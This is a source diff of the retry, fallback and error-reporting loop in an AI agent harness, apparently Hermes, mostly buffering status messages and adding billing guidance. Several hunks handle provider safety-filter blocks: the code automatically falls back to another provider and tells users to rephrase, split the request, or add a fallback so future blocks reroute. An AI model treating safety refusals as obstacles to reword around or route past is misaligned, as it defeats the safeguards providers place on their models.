+                        agent._buffer_status(f"⚠️ Max retries ({max_retries}) for invalid responses — trying fallback...")
                         if agent._try_activate_fallback():
                             retry_count = 0
                             compression_attempts = 0
                             primary_recovery_attempted = False
                             continue
+                        # Terminal — flush buffered retry trace so user sees what happened.
+                        agent._flush_status_buffer()
                         agent._emit_status(f"❌ Max retries ({max_retries}) exceeded for invalid responses. Giving up.")
                         logger.error(f"{agent.log_prefix}Invalid API response after {max_retries} retries.")
                         agent._persist_session(messages, conversation_history)
@@ -1378,7 +1491,7 @@ def run_conversation(
                     
                     # Backoff before retry — jittered exponential: 5s base, 120s cap
                     wait_time = jittered_backoff(retry_count, base_delay=5.0, max_delay=120.0)
-                    agent._vprint(f"{agent.log_prefix}⏳ Retrying in {wait_time:.1f}s ({_failure_hint})...", force=True)
+                    agent._buffer_vprint(f"⏳ Retrying in {wait_time:.1f}s ({_failure_hint})...")
                     logger.warning(f"Invalid API response (retry {retry_count}/{max_retries}): {', '.join(error_details)} | Provider: {provider_name}")
                     
                     # Sleep in small increments to stay responsive to interrupts
@@ -1605,14 +1718,14 @@ def run_conversation(
                         if assistant_message is not None and _trunc_has_tool_calls:
                             if truncated_tool_call_retries < 1:
                                 truncated_tool_call_retries += 1
-                                agent._vprint(
-                                    f"{agent.log_prefix}⚠️  Truncated tool call detected — retrying API call...",
-                                    force=True,
+                                agent._buffer_vprint(
+                                    f"⚠️  Truncated tool call detected — retrying API call..."
                                 )
                                 # Don't append the broken response to messages;
                                 # just re-run the same API call from the current
                                 # message state, giving the model another chance.
                                 continue
+                            agent._flush_status_buffer()
                             agent._vprint(
                                 f"{agent.log_prefix}⚠️  Truncated tool call response detected again — refusing to execute incomplete tool arguments.",
                                 force=True,
@@ -1646,6 +1759,7 @@ def run_conversation(
                         }
                     else:
                         # First message was truncated - mark as failed
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ First response truncated - cannot recover", force=True)
                         agent._persist_session(messages, conversation_history)
                         return {
@@ -1667,10 +1781,19 @@ def run_conversation(
                     prompt_tokens = canonical_usage.prompt_tokens
                     completion_tokens = canonical_usage.output_tokens
                     total_tokens = canonical_usage.total_tokens
+                    # Forward canonical token + cache buckets so context engines
+                    # can make decisions on cache hit ratios / reasoning costs,
+                    # not just legacy aggregate tokens. Legacy keys stay for
+                    # back-compat with engines that only read prompt/completion/total.
                     usage_dict = {
                         "prompt_tokens": prompt_tokens,
                         "completion_tokens": completion_tokens,
                         "total_tokens": total_tokens,
+                        "input_tokens": canonical_usage.input_tokens,
+                        "output_tokens": canonical_usage.output_tokens,
+                        "cache_read_tokens": canonical_usage.cache_read_tokens,
+                        "cache_write_tokens": canonical_usage.cache_write_tokens,
+                        "reasoning_tokens": canonical_usage.reasoning_tokens,
                     }
                     agent.context_compressor.update_from_response(usage_dict)
 
@@ -1788,6 +1911,11 @@ def run_conversation(
                         )
                 
                 has_retried_429 = False  # Reset on success
+                # Note: don't clear the retry buffer here — an "API call
+                # success" only means we got bytes back, not that we got
+                # usable content. Empty responses still loop through the
+                # empty-retry path below; the buffer is cleared when
+                # genuinely successful content is detected later (~L4127).
                 # Clear Nous rate limit state on successful request —
                 # proves the limit has reset and other sessions can
                 # resume hitting Nous.
@@ -1814,9 +1942,10 @@ def run_conversation(
                 break
 
             except Exception as api_error:
-                # Stop spinner before printing error messages
+                # Stop spinner silently — retry status is buffered and
+                # only flushed when every retry+fallback is exhausted.
                 if thinking_spinner:
-                    thinking_spinner.stop("(╥_╥) error, retrying...")
+                    thinking_spinner.stop("")
                     thinking_spinner = None
                 if agent.thinking_callback:
                     agent.thinking_callback("")
@@ -1871,14 +2000,12 @@ def run_conversation(
                     if _surrogates_found or _is_surrogate_error:
                         agent._unicode_sanitization_passes += 1
                         if _surrogates_found:
-                            agent._vprint(
-                                f"{agent.log_prefix}⚠️  Stripped invalid surrogate characters from messages. Retrying...",
-                                force=True,
+                            agent._buffer_vprint(
+                                f"⚠️  Stripped invalid surrogate characters from messages. Retrying..."
                             )
                         else:
-                            agent._vprint(
-                                f"{agent.log_prefix}⚠️  Surrogate encoding error — retrying after full-payload sanitization...",
-                                force=True,
+                            agent._buffer_vprint(
+                                f"⚠️  Surrogate encoding error — retrying after full-payload sanitization..."
                             )
                         continue
                     if _is_ascii_codec:
@@ -2092,6 +2219,23 @@ def run_conversation(
                     classified.should_rotate_credential, classified.should_fallback,
                 )
 
+                if (
+                    classified.reason == FailoverReason.billing
+                    and _is_nous_inference_route(
+                        getattr(agent, "provider", "") or "",
+                        getattr(agent, "base_url", "") or "",
+                    )
+                    and not nous_paid_entitlement_refresh_attempted
+                ):
+                    nous_paid_entitlement_refresh_attempted = True
+                    if _try_refresh_nous_paid_entitlement_credentials(agent):
+                        agent._vprint(
+                            f"{agent.log_prefix}🔐 Nous paid access verified — "
+                            "refreshed runtime credentials and retrying request...",
+                            force=True,
+                        )
+                        continue
+
                 recovered_with_pool, has_retried_429 = agent._recover_with_credential_pool(
                     status_code=status_code,
                     has_retried_429=has_retried_429,
@@ -2189,7 +2333,7 @@ def run_conversation(
                     codex_auth_retry_attempted = True
                     if agent._try_refresh_codex_client_credentials(force=True):
                         _label = "xAI OAuth" if agent.provider == "xai-oauth" else "Codex"
-                        agent._vprint(f"{agent.log_prefix}🔐 {_label} auth refreshed after 401. Retrying request...")
+                        agent._buffer_vprint(f"🔐 {_label} auth refreshed after 401. Retrying request...")
                         continue
                 if (
                     agent.api_mode == "chat_completions"
@@ -2216,9 +2360,10 @@ def run_conversation(
                     print(f"{agent.log_prefix}🔐 Nous 401 — Portal authentication failed.")
                     if _body_text:
                         print(f"{agent.log_prefix}   Response: {_body_text}")
-                    print(f"{agent.log_prefix}   Most likely: Portal OAuth expired, account out of credits, or agent key revoked.")
+                    if not _print_nous_entitlement_guidance(agent, "Nous model access"):
+                        print(f"{agent.log_prefix}   Most likely: Portal OAuth expired, account out of credits, or agent key revoked.")
                     print(f"{agent.log_prefix}   Troubleshooting:")
-                    print(f"{agent.log_prefix}     • Re-authenticate: hermes login --provider nous")
+                    print(f"{agent.log_prefix}     • Re-authenticate: hermes auth add nous")
                     print(f"{agent.log_prefix}     • Check credits / billing: https://portal.nousresearch.com")
                     print(f"{agent.log_prefix}     • Verify stored credentials: {_dhh}/auth.json")
                     print(f"{agent.log_prefix}     • Switch providers temporarily: /model <model> --provider openrouter")
@@ -2229,7 +2374,7 @@ def run_conversation(
                 ):
                     copilot_auth_retry_attempted = True
                     if agent._try_refresh_copilot_client_credentials():
-                        agent._vprint(f"{agent.log_prefix}🔐 Copilot credentials refreshed after 401. Retrying request...")
+                        agent._buffer_vprint(f"🔐 Copilot credentials refreshed after 401. Retrying request...")
                         continue
                 if (
                     agent.api_mode == "anthropic_messages"
@@ -2296,6 +2441,49 @@ def run_conversation(
                     )
                     continue
 
+                # ── Invalid encrypted reasoning replay recovery ───────
+                # OpenAI Responses API surfaces (and some compatible relays)
+                # return HTTP 400 ``invalid_encrypted_content`` when a
+                # replayed ``codex_reasoning_items`` blob from a previous
+                # turn fails verification (provider rotated the encryption
+                # key, the route doesn't actually persist reasoning state,
+                # etc.).  Recovery: disable replay for the rest of the
+                # session, strip cached items from history, retry once.
+                # One-shot — if a second 400 fires we fall through to the
+                # normal retry/backoff path.  Only fires for codex_responses
+                # mode with at least one assistant message that has cached
+                # ``codex_reasoning_items``; without replay state, the
+                # error is unrelated to our cache so the normal retry path
+                # handles it (the provider is rejecting something else).
+                if (
+                    classified.reason == FailoverReason.invalid_encrypted_content
+                    and not invalid_encrypted_content_retry_attempted
+                    and agent.api_mode == "codex_responses"
+                    and bool(getattr(agent, "_codex_reasoning_replay_enabled", True))
+                    and any(
+                        isinstance(_m, dict)
+                        and _m.get("role") == "assistant"
+                        and isinstance(_m.get("codex_reasoning_items"), list)
+                        and _m.get("codex_reasoning_items")
+                        for _m in messages
+                    )
+                ):
+                    invalid_encrypted_content_retry_attempted = True
+                    replay_stats = agent._disable_codex_reasoning_replay(messages)
+                    agent._vprint(
+                        f"{agent.log_prefix}⚠️  Encrypted reasoning replay was rejected by the provider — "
+                        f"disabled replay and stripped {replay_stats['items']} item(s) from "
+                        f"{replay_stats['messages']} message(s), retrying...",
+                        force=True,
+                    )
+                    logger.warning(
+                        "%sInvalid encrypted reasoning recovery: disabled replay and stripped %d items from %d messages",
+                        agent.log_prefix,
+                        replay_stats["items"],
+                        replay_stats["messages"],
+                    )
+                    continue
+
                 # ── llama.cpp grammar-parse recovery ──────────────────
                 # llama.cpp's ``json-schema-to-grammar`` converter rejects
                 # regex escape classes (``\d``, ``\w``, ``\s``) and most
@@ -2361,41 +2549,37 @@ def run_conversation(
                 _base = getattr(agent, "base_url", "unknown")
                 _model = getattr(agent, "model", "unknown")
                 _status_code_str = f" [HTTP {status_code}]" if status_code else ""
-                agent._vprint(f"{agent.log_prefix}⚠️  API call failed (attempt {retry_count}/{max_retries}): {error_type}{_status_code_str}", force=True)
-                agent._vprint(f"{agent.log_prefix}   🔌 Provider: {_provider}  Model: {_model}", force=True)
-                agent._vprint(f"{agent.log_prefix}   🌐 Endpoint: {_base}", force=True)
-                agent._vprint(f"{agent.log_prefix}   📝 Error: {_error_summary}", force=True)
+                agent._buffer_vprint(f"⚠️  API call failed (attempt {retry_count}/{max_retries}): {error_type}{_status_code_str}")
+                agent._buffer_vprint(f"   🔌 Provider: {_provider}  Model: {_model}")
+                agent._buffer_vprint(f"   🌐 Endpoint: {_base}")
+                agent._buffer_vprint(f"   📝 Error: {_error_summary}")
                 if status_code and status_code < 500:
                     _err_body = getattr(api_error, "body", None)
                     _err_body_str = str(_err_body)[:300] if _err_body else None
                     if _err_body_str:
-                        agent._vprint(f"{agent.log_prefix}   📋 Details: {_err_body_str}", force=True)
-                agent._vprint(f"{agent.log_prefix}   ⏱️  Elapsed: {elapsed_time:.2f}s  Context: {len(api_messages)} msgs, ~{approx_tokens:,} tokens")
+                        agent._buffer_vprint(f"   📋 Details: {_err_body_str}")
+                agent._buffer_vprint(f"   ⏱️  Elapsed: {elapsed_time:.2f}s  Context: {len(api_messages)} msgs, ~{approx_tokens:,} tokens")
 
                 # Actionable hint for OpenRouter "no tool endpoints" error.
-                # This fires regardless of whether fallback succeeds — the
-                # user needs to know WHY their model failed so they can fix
-                # their provider routing, not just silently fall back.
+                # Buffered like the rest of the retry trace — surfaced only
+                # if every retry+fallback exhausts.  Avoids spamming users
+                # who recover automatically via fallback.
                 if (
                     agent._is_openrouter_url()
                     and "support tool use" in error_msg
                 ):
-                    agent._vprint(
-                        f"{agent.log_prefix}   💡 No OpenRouter providers for {_model} support tool calling with your current settings.",
-                        force=True,
+                    agent._buffer_vprint(
+                        f"   💡 No OpenRouter providers for {_model} support tool calling with your current settings."
                     )
                     if agent.providers_allowed:
-                        agent._vprint(
-                            f"{agent.log_prefix}      Your provider_routing.only restriction is filtering out tool-capable providers.",
-                            force=True,
+                        agent._buffer_vprint(
+                            f"      Your provider_routing.only restriction is filtering out tool-capable providers."
                         )
-                        agent._vprint(
-                            f"{agent.log_prefix}      Try removing the restriction or adding providers that support tools for this model.",
-                            force=True,
+                        agent._buffer_vprint(
+                            f"      Try removing the restriction or adding providers that support tools for this model."
                         )
-                    agent._vprint(
-                        f"{agent.log_prefix}      Check which providers support tools: https://openrouter.ai/models/{_model}",
-                        force=True,
+                    agent._buffer_vprint(
+                        f"      Check which providers support tools: https://openrouter.ai/models/{_model}"
                     )
 
                 # Check for interrupt before deciding to retry
@@ -2445,11 +2629,10 @@ def run_conversation(
                             # user later enables extra usage the 1M limit
                             # should come back automatically.
                             compressor._context_probe_persistable = False
-                        agent._vprint(
-                            f"{agent.log_prefix}⚠️  Anthropic long-context tier "
+                        agent._buffer_vprint(
+                            f"⚠️  Anthropic long-context tier "
                             f"requires extra usage — reducing context: "
-                            f"{old_ctx:,} → {_reduced_ctx:,} tokens",
-                            force=True,
+                            f"{old_ctx:,} → {_reduced_ctx:,} tokens"
                         )
 
                     compression_attempts += 1
@@ -2465,7 +2648,7 @@ def run_conversation(
                         # messages to the new session, not skipping them.
                         conversation_history = None
                         if len(messages) < original_len or old_ctx > _reduced_ctx:
-                            agent._emit_status(
+                            agent._buffer_status(
                                 f"🗜️ Context reduced to {_reduced_ctx:,} tokens "
                                 f"(was {old_ctx:,}), retrying..."
                             )
@@ -2494,7 +2677,12 @@ def run_conversation(
                         base_url=getattr(agent, "base_url", None),
                     )
                     if not pool_may_recover:
-                        agent._emit_status("⚠️ Rate limited — switching to fallback provider...")
+                        if classified.reason == FailoverReason.billing:
+                            agent._buffer_status(
+                                "⚠️ Billing or credits exhausted — switching to fallback provider..."
+                            )
+                        else:
+                            agent._buffer_status("⚠️ Rate limited — switching to fallback provider...")
                         if agent._try_activate_fallback(reason=classified.reason):
                             retry_count = 0
                             compression_attempts = 0
@@ -2606,6 +2794,8 @@ def run_conversation(
                 if is_payload_too_large:
                     compression_attempts += 1
                     if compression_attempts > max_compression_attempts:
+                        # Terminal — surface the buffered retry trace.
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ Max compression attempts ({max_compression_attempts}) reached for payload-too-large error.", force=True)
                         agent._vprint(f"{agent.log_prefix}   💡 Try /new to start a fresh conversation, or /compress to retry compression.", force=True)
                         logger.error(f"{agent.log_prefix}413 compression failed after {max_compression_attempts} attempts.")
@@ -2619,7 +2809,7 @@ def run_conversation(
                             "failed": True,
                             "compression_exhausted": True,
                         }
-                    agent._emit_status(f"⚠️  Request payload too large (413) — compression attempt {compression_attempts}/{max_compression_attempts}...")
+                    agent._buffer_status(f"⚠️  Request payload too large (413) — compression attempt {compression_attempts}/{max_compression_attempts}...")
 
                     original_len = len(messages)
                     messages, active_system_prompt = agent._compress_context(
@@ -2632,11 +2822,14 @@ def run_conversation(
                     conversation_history = None
 
                     if len(messages) < original_len:
-                        agent._emit_status(f"🗜️ Compressed {original_len} → {len(messages)} messages, retrying...")
+                        agent._buffer_status(f"🗜️ Compressed {original_len} → {len(messages)} messages, retrying...")
                         time.sleep(2)  # Brief pause between compression retries
                         restart_with_compressed_messages = True
                         break
                     else:
+                        # Terminal — surface buffered context so the user
+                        # sees what compression attempts were made.
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ Payload too large and cannot compress further.", force=True)
                         agent._vprint(f"{agent.log_prefix}   💡 Try /new to start a fresh conversation, or /compress to retry compression.", force=True)
                         logger.error(f"{agent.log_prefix}413 payload too large. Cannot compress further.")
@@ -2680,16 +2873,16 @@ def run_conversation(
                         # touching context_length or triggering compression.
                         safe_out = max(1, available_out - 64)  # small safety margin
                         agent._ephemeral_max_output_tokens = safe_out
-                        agent._vprint(
-                            f"{agent.log_prefix}⚠️  Output cap too large for current prompt — "
+                        agent._buffer_vprint(
+                            f"⚠️  Output cap too large for current prompt — "
                             f"retrying with max_tokens={safe_out:,} "
-                            f"(available_tokens={available_out:,}; context_length unchanged at {old_ctx:,})",
-                            force=True,
+                            f"(available_tokens={available_out:,}; context_length unchanged at {old_ctx:,})"
                         )
                         # Still count against compression_attempts so we don't
                         # loop forever if the error keeps recurring.
                         compression_attempts += 1
                         if compression_attempts > max_compression_attempts:
+                            agent._flush_status_buffer()
                             agent._vprint(f"{agent.log_prefix}❌ Max compression attempts ({max_compression_attempts}) reached.", force=True)
                             agent._vprint(f"{agent.log_prefix}   💡 Try /new to start a fresh conversation, or /compress to retry compression.", force=True)
                             logger.error(f"{agent.log_prefix}Context compression failed after {max_compression_attempts} attempts.")
@@ -2706,9 +2899,13 @@ def run_conversation(
                         restart_with_compressed_messages = True
                         break
 
-                    # Error is about the INPUT being too large — reduce context_length.
-                    # Try to parse the actual limit from the error message
-                    parsed_limit = parse_context_limit_from_error(error_msg)
+                    # Error is about the INPUT being too large.  Only reduce
+                    # context_length when the provider explicitly reports the
+                    # real lower limit.  If the provider only says "input
+                    # exceeds the context window", keep the configured window
+                    # and try compression; guessing probe tiers can incorrectly
+                    # turn a user-configured 1M window into 256K/128K/64K.
+                    new_ctx = get_context_length_from_provider_error(error_msg, old_ctx)
                     _provider_lower = (getattr(agent, "provider", "") or "").lower()
                     _base_lower = (getattr(agent, "base_url", "") or "").rstrip("/").lower()
                     is_minimax_provider = (
@@ -2720,24 +2917,12 @@ def run_conversation(
                     )
                     minimax_delta_only_overflow = (
                         is_minimax_provider
-                        and parsed_limit is None
+                        and new_ctx is None
                         and "context window exceeds limit (" in error_msg
                     )
-                    if parsed_limit and parsed_limit < old_ctx:
-                        new_ctx = parsed_limit
-                        agent._vprint(f"{agent.log_prefix}Context limit detected from API: {new_ctx:,} tokens (was {old_ctx:,})", force=True)
-                    elif minimax_delta_only_overflow:
-                        new_ctx = old_ctx
-                        agent._vprint(
-                            f"{agent.log_prefix}Provider reported overflow amount only; "
-                            f"keeping context_length at {old_ctx:,} tokens and compressing.",
-                            force=True,
-                        )
-                    else:
-                        # Step down to the next probe tier
-                        new_ctx = get_next_probe_tier(old_ctx)
 
-                    if new_ctx and new_ctx < old_ctx:
+                    if new_ctx is not None:
+                        agent._buffer_vprint(f"Context limit detected from API: {new_ctx:,} tokens (was {old_ctx:,})")
                         compressor.update_model(
                             model=agent.model,
                             context_length=new_ctx,
@@ -2747,23 +2932,26 @@ def run_conversation(
                             api_mode=agent.api_mode,
                         )
                         # Context probing flags — only set on built-in
-                        # compressor (plugin engines manage their own).
+                        # compressor (plugin engines manage their own).  This
+                        # value came from the provider, so it is safe to cache.
                         if hasattr(compressor, "_context_probed"):
                             compressor._context_probed = True
-                            # Only persist limits parsed from the provider's
-                            # error message (a real number).  Guessed fallback
-                            # tiers from get_next_probe_tier() should stay
-                            # in-memory only — persisting them pollutes the
-                            # cache with wrong values.
-                            compressor._context_probe_persistable = bool(
-                                parsed_limit and parsed_limit == new_ctx
-                            )
-                        agent._vprint(f"{agent.log_prefix}⚠️  Context length exceeded — stepping down: {old_ctx:,} → {new_ctx:,} tokens", force=True)
+                            compressor._context_probe_persistable = True
+                        agent._buffer_vprint(f"⚠️  Context length exceeded — using provider limit: {old_ctx:,} → {new_ctx:,} tokens")
+                    elif minimax_delta_only_overflow:
+                        agent._buffer_vprint(
+                            f"Provider reported overflow amount only; "
+                            f"keeping context_length at {old_ctx:,} tokens and compressing."
+                        )
                     else:
-                        agent._vprint(f"{agent.log_prefix}⚠️  Context length exceeded at minimum tier — attempting compression...", force=True)
+                        agent._buffer_vprint(
+                            f"⚠️  Context length exceeded, but provider did not report a max context length; "
+                            f"keeping context_length at {old_ctx:,} tokens and compressing."
+                        )
 
                     compression_attempts += 1
                     if compression_attempts > max_compression_attempts:
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ Max compression attempts ({max_compression_attempts}) reached.", force=True)
                         agent._vprint(f"{agent.log_prefix}   💡 Try /new to start a fresh conversation, or /compress to retry compression.", force=True)
                         logger.error(f"{agent.log_prefix}Context compression failed after {max_compression_attempts} attempts.")
@@ -2777,7 +2965,7 @@ def run_conversation(
                             "failed": True,
                             "compression_exhausted": True,
                         }
-                    agent._emit_status(f"🗜️ Context too large (~{approx_tokens:,} tokens) — compressing ({compression_attempts}/{max_compression_attempts})...")
+                    agent._buffer_status(f"🗜️ Context too large (~{approx_tokens:,} tokens) — compressing ({compression_attempts}/{max_compression_attempts})...")
 
                     original_len = len(messages)
                     messages, active_system_prompt = agent._compress_context(
@@ -2791,12 +2979,13 @@ def run_conversation(
 
                     if len(messages) < original_len or new_ctx and new_ctx < old_ctx:
                         if len(messages) < original_len:
-                            agent._emit_status(f"🗜️ Compressed {original_len} → {len(messages)} messages, retrying...")
+                            agent._buffer_status(f"🗜️ Compressed {original_len} → {len(messages)} messages, retrying...")
                         time.sleep(2)  # Brief pause between compression retries
                         restart_with_compressed_messages = True
                         break
                     else:
                         # Can't compress further and already at minimum tier
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ Context length exceeded and cannot compress further.", force=True)
                         agent._vprint(f"{agent.log_prefix}   💡 The conversation has accumulated too much content. Try /new to start fresh, or /compress to manually trigger compression.", force=True)
                         logger.error(f"{agent.log_prefix}Context length exceeded: {approx_tokens:,} tokens. Cannot compress further.")
@@ -2835,6 +3024,21 @@ def run_conversation(
                     # ssl.SSLError explicitly so the error classifier's
                     # retryable=True mapping takes effect instead.
                     and not isinstance(api_error, ssl.SSLError)
+                    # Provider/SDK "NoneType is not iterable" failures are
+                    # shape mismatches from upstream (e.g. chatgpt.com Codex
+                    # backend response.completed.output=null) — not local
+                    # programming bugs.  Even after #33042 made our own
+                    # consumer immune, third-party shims and mocked clients
+                    # can still surface this shape via TypeError.  Treat
+                    # them as retryable so the error classifier's normal
+                    # retry/fallback path runs instead of killing the turn
+                    # as non-retryable (which left Telegram users staring
+                    # at a bare "Non-retryable error" with no recovery).
+                    and not (
+                        isinstance(api_error, TypeError)
+                        and "nonetype" in str(api_error).lower()
+                        and "not iterable" in str(api_error).lower()
+                    )
                 )
                 # ``FailoverReason.billing`` (HTTP 402) is NOT in this
                 # exclusion set.  By the time we reach this block:
@@ -2870,7 +3074,10 @@ def run_conversation(
                 if is_client_error:
                     # Try fallback before aborting — a different provider
                     # may not have the same issue (rate limit, auth, etc.)
-                    agent._emit_status(f"⚠️ Non-retryable error (HTTP {status_code}) — trying fallback...")
+                    if classified.reason == FailoverReason.content_policy_blocked:
+                        agent._buffer_status("⚠️ Provider safety filter blocked this request — trying fallback...")
+                    else:
+                        agent._buffer_status(f"⚠️ Non-retryable error (HTTP {status_code}) — trying fallback...")
                     if agent._try_activate_fallback():
                         retry_count = 0
                         compression_attempts = 0
@@ -2880,16 +3087,38 @@ def run_conversation(
                         agent._dump_api_request_debug(
                             api_kwargs, reason="non_retryable_client_error", error=api_error,
                         )
-                    agent._emit_status(
-                        f"❌ Non-retryable error (HTTP {status_code}): "
-                        f"{agent._summarize_api_error(api_error)}"
-                    )
+                    # Terminal — flush buffered context so the user sees
+                    # what was tried before the abort.
+                    agent._flush_status_buffer()
+                    if classified.reason == FailoverReason.content_policy_blocked:
+                        agent._emit_status(
+                            f"❌ Provider safety filter blocked this request: "
+                            f"{agent._summarize_api_error(api_error)}"
+                        )
+                    else:
+                        agent._emit_status(
+                            f"❌ Non-retryable error (HTTP {status_code}): "
+                            f"{agent._summarize_api_error(api_error)}"
+                        )
                     agent._vprint(f"{agent.log_prefix}❌ Non-retryable client error (HTTP {status_code}). Aborting.", force=True)
                     agent._vprint(f"{agent.log_prefix}   🔌 Provider: {_provider}  Model: {_model}", force=True)
                     agent._vprint(f"{agent.log_prefix}   🌐 Endpoint: {_base}", force=True)
                     # Actionable guidance for common auth errors
                     if classified.is_auth or classified.reason == FailoverReason.billing:
-                        if _provider in {"openai-codex", "xai-oauth", "nous"} and status_code == 401:
+                        if classified.reason == FailoverReason.billing and _print_billing_or_entitlement_guidance(
+                            agent,
+                            capability="model access",
+                            provider=_provider,
+                            base_url=str(_base),
+                            model=_model,
+                        ):
+                            pass
+                        elif _provider == "nous" and _print_nous_entitlement_guidance(
+                            agent,
+                            "Nous model access",
+                        ):
+                            pass
+                        elif _provider in {"openai-codex", "xai-oauth", "nous"} and status_code == 401:
                             if _provider == "openai-codex":
                                 agent._vprint(f"{agent.log_prefix}   💡 Codex OAuth token was rejected (HTTP 401). Your token may have been", force=True)
                                 agent._vprint(f"{agent.log_prefix}      refreshed by another client (Codex CLI, VS Code). To fix:", force=True)
@@ -2917,6 +3146,28 @@ def run_conversation(
                                 agent._vprint(f"{agent.log_prefix}      • Check credits: https://openrouter.ai/settings/credits", force=True)
                     else:
                         agent._vprint(f"{agent.log_prefix}   💡 This type of error won't be fixed by retrying.", force=True)
+                    # Content-policy blocks deserve their own actionable
+                    # guidance — neither "fix your API key" nor "retry won't
+                    # help" tells the user what to actually do. The provider
+                    # has refused this specific prompt, so the recovery is
+                    # either a rephrase or routing to a different model.
+                    if classified.reason == FailoverReason.content_policy_blocked:
+                        agent._vprint(
+                            f"{agent.log_prefix}   💡 The provider's safety filter rejected this specific prompt.",
+                            force=True,
+                        )
+                        agent._vprint(
+                            f"{agent.log_prefix}      • Try rephrasing the request, narrowing the context, or splitting into smaller steps.",
+                            force=True,
+                        )
+                        agent._vprint(
+                            f"{agent.log_prefix}      • Configure a fallback provider so future blocks route automatically:",
+                            force=True,
+                        )
+                        agent._vprint(
+                            f"{agent.log_prefix}        hermes fallback add   (interactive picker — same as `hermes model`)",
+                            force=True,
+                        )
                     logger.error(f"{agent.log_prefix}Non-retryable client error: {api_error}")
                     # Skip session persistence when the error is likely
                     # context-overflow related (status 400 + large session).
@@ -2931,6 +3182,23 @@ def run_conversation(
                         )
                     else:
                         agent._persist_session(messages, conversation_history)
+                    if classified.reason == FailoverReason.content_policy_blocked:
+                        _summary = agent._summarize_api_error(api_error)
+                        _policy_response = (
+                            f"⚠️  The model provider's safety filter blocked this request "
+                            f"(not a Hermes/gateway failure).\n\n"
+                            f"Provider message: {_summary}\n\n"
+                            f"Try rephrasing the request, narrowing the context, or "
+                            f"adding a fallback provider with `hermes fallback add`."
+                        )
+                        return {
+                            "final_response": _policy_response,
+                            "messages": messages,
+                            "api_calls": api_call_count,
+                            "completed": False,
+                            "failed": True,
+                            "error": f"content_policy_blocked: {_summary}",
+                        }
                     return {
                         "final_response": None,
                         "messages": messages,
@@ -2952,14 +3220,32 @@ def run_conversation(
                         retry_count = 0
                         continue
                     # Try fallback before giving up entirely
-                    agent._emit_status(f"⚠️ Max retries ({max_retries}) exhausted — trying fallback...")
+                    agent._buffer_status(f"⚠️ Max retries ({max_retries}) exhausted — trying fallback...")
                     if agent._try_activate_fallback():
                         retry_count = 0
                         compression_attempts = 0
                         primary_recovery_attempted = False
                         continue
+                    # Terminal — flush buffered retry/fallback trace.
+                    agent._flush_status_buffer()
                     _final_summary = agent._summarize_api_error(api_error)
-                    if is_rate_limited:
+                    _billing_guidance = ""
+                    if classified.reason == FailoverReason.billing:
+                        agent._emit_status(f"❌ Billing or credits exhausted — {_final_summary}")
+                        _billing_guidance = _billing_or_entitlement_message(
+                            capability="model access",
+                            provider=_provider,
+                            base_url=str(_base),
+                            model=_model,
+                        )
+                        _print_billing_or_entitlement_guidance(
+                            agent,
+                            capability="model access",
+                            provider=_provider,
+                            base_url=str(_base),
+                            model=_model,
+                        )
+                    elif is_rate_limited:
                         agent._emit_status(f"❌ Rate limited after {max_retries} retries — {_final_summary}")
                     else:
                         agent._emit_status(f"❌ API failed after {max_retries} retries — {_final_summary}")
@@ -3004,7 +3290,12 @@ def run_conversation(
                             api_kwargs, reason="max_retries_exhausted", error=api_error,
                         )
                     agent._persist_session(messages, conversation_history)
-                    _final_response = f"API call failed after {max_retries} retries: {_final_summary}"
+                    if classified.reason == FailoverReason.billing:
+                        _final_response = f"Billing or credits exhausted: {_final_summary}"
+                        if _billing_guidance:
+                            _final_response += f"\n\n{_billing_guidance}"
+                    else:
+                        _final_response = f"API call failed after {max_retries} retries: {_final_summary}"
                     if _is_stream_drop:
                         _final_response += (
                             "\n\nThe provider's stream connection keeps "
@@ -3036,9 +3327,9 @@ def run_conversation(
                                 pass
                 wait_time = _retry_after if _retry_after else jittered_backoff(retry_count, base_delay=2.0, max_delay=60.0)
                 if is_rate_limited:
-                    agent._emit_status(f"⏱️ Rate limited. Waiting {wait_time:.1f}s (attempt {retry_count + 1}/{max_retries})...")
+                    agent._buffer_status(f"⏱️ Rate limited. Waiting {wait_time:.1f}s (attempt {retry_count + 1}/{max_retries})...")
                 else:
-                    agent._emit_status(f"⏳ Retrying in {wait_time:.1f}s (attempt {retry_count}/{max_retries})...")
+                    agent._buffer_status(f"⏳ Retrying in {wait_time:.1f}s (attempt {retry_count}/{max_retries})...")
                 logger.warning(
                     "Retrying API call in %ss (attempt %s/%s) %s error=%s",
                     wait_time,
@@ -3197,14 +3488,15 @@ def run_conversation(
             if has_incomplete_scratchpad(assistant_message.content or ""):
                 agent._incomplete_scratchpad_retries += 1
                 
-                agent._vprint(f"{agent.log_prefix}⚠️  Incomplete <REASONING_SCRATCHPAD> detected (opened but never closed)")
+                agent._buffer_vprint(f"⚠️  Incomplete <REASONING_SCRATCHPAD> detected (opened but never closed)")
                 
                 if agent._incomplete_scratchpad_retries <= 2:
-                    agent._vprint(f"{agent.log_prefix}🔄 Retrying API call ({agent._incomplete_scratchpad_retries}/2)...")
+                    agent._buffer_vprint(f"🔄 Retrying API call ({agent._incomplete_scratchpad_retries}/2)...")
                     # Don't add the broken message, just retry
                     continue
                 else:
                     # Max retries - discard this turn and save as partial
+                    agent._flush_status_buffer()
                     agent._vprint(f"{agent.log_prefix}❌ Max retries (2) for incomplete scratchpad. Saving as partial.", force=True)
                     agent._incomplete_scratchpad_retries = 0
                     
@@ -3312,9 +3604,10 @@ def run_conversation(
                     available = ", ".join(sorted(agent.valid_tool_names))
                     invalid_name = invalid_tool_calls[0]
                     invalid_preview = invalid_name[:80] + "..." if len(invalid_name) > 80 else invalid_name
-                    agent._vprint(f"{agent.log_prefix}⚠️  Unknown tool '{invalid_preview}' — sending error to model for agent-correction ({agent._invalid_tool_retries}/3)")
+                    agent._buffer_vprint(f"⚠️  Unknown tool '{invalid_preview}' — sending error to model for agent-correction ({agent._invalid_tool_retries}/3)")
 
                     if agent._invalid_tool_retries >= 3:
+                        agent._flush_status_buffer()
                         agent._vprint(f"{agent.log_prefix}❌ Max retries (3) for invalid tool calls exceeded. Stopping as partial.", force=True)
                         agent._invalid_tool_retries = 0
                         agent._persist_session(messages, conversation_history)
@@ -3398,16 +3691,16 @@ def run_conversation(
                     agent._invalid_json_retries += 1
 
                     tool_name, error_msg = invalid_json_args[0]
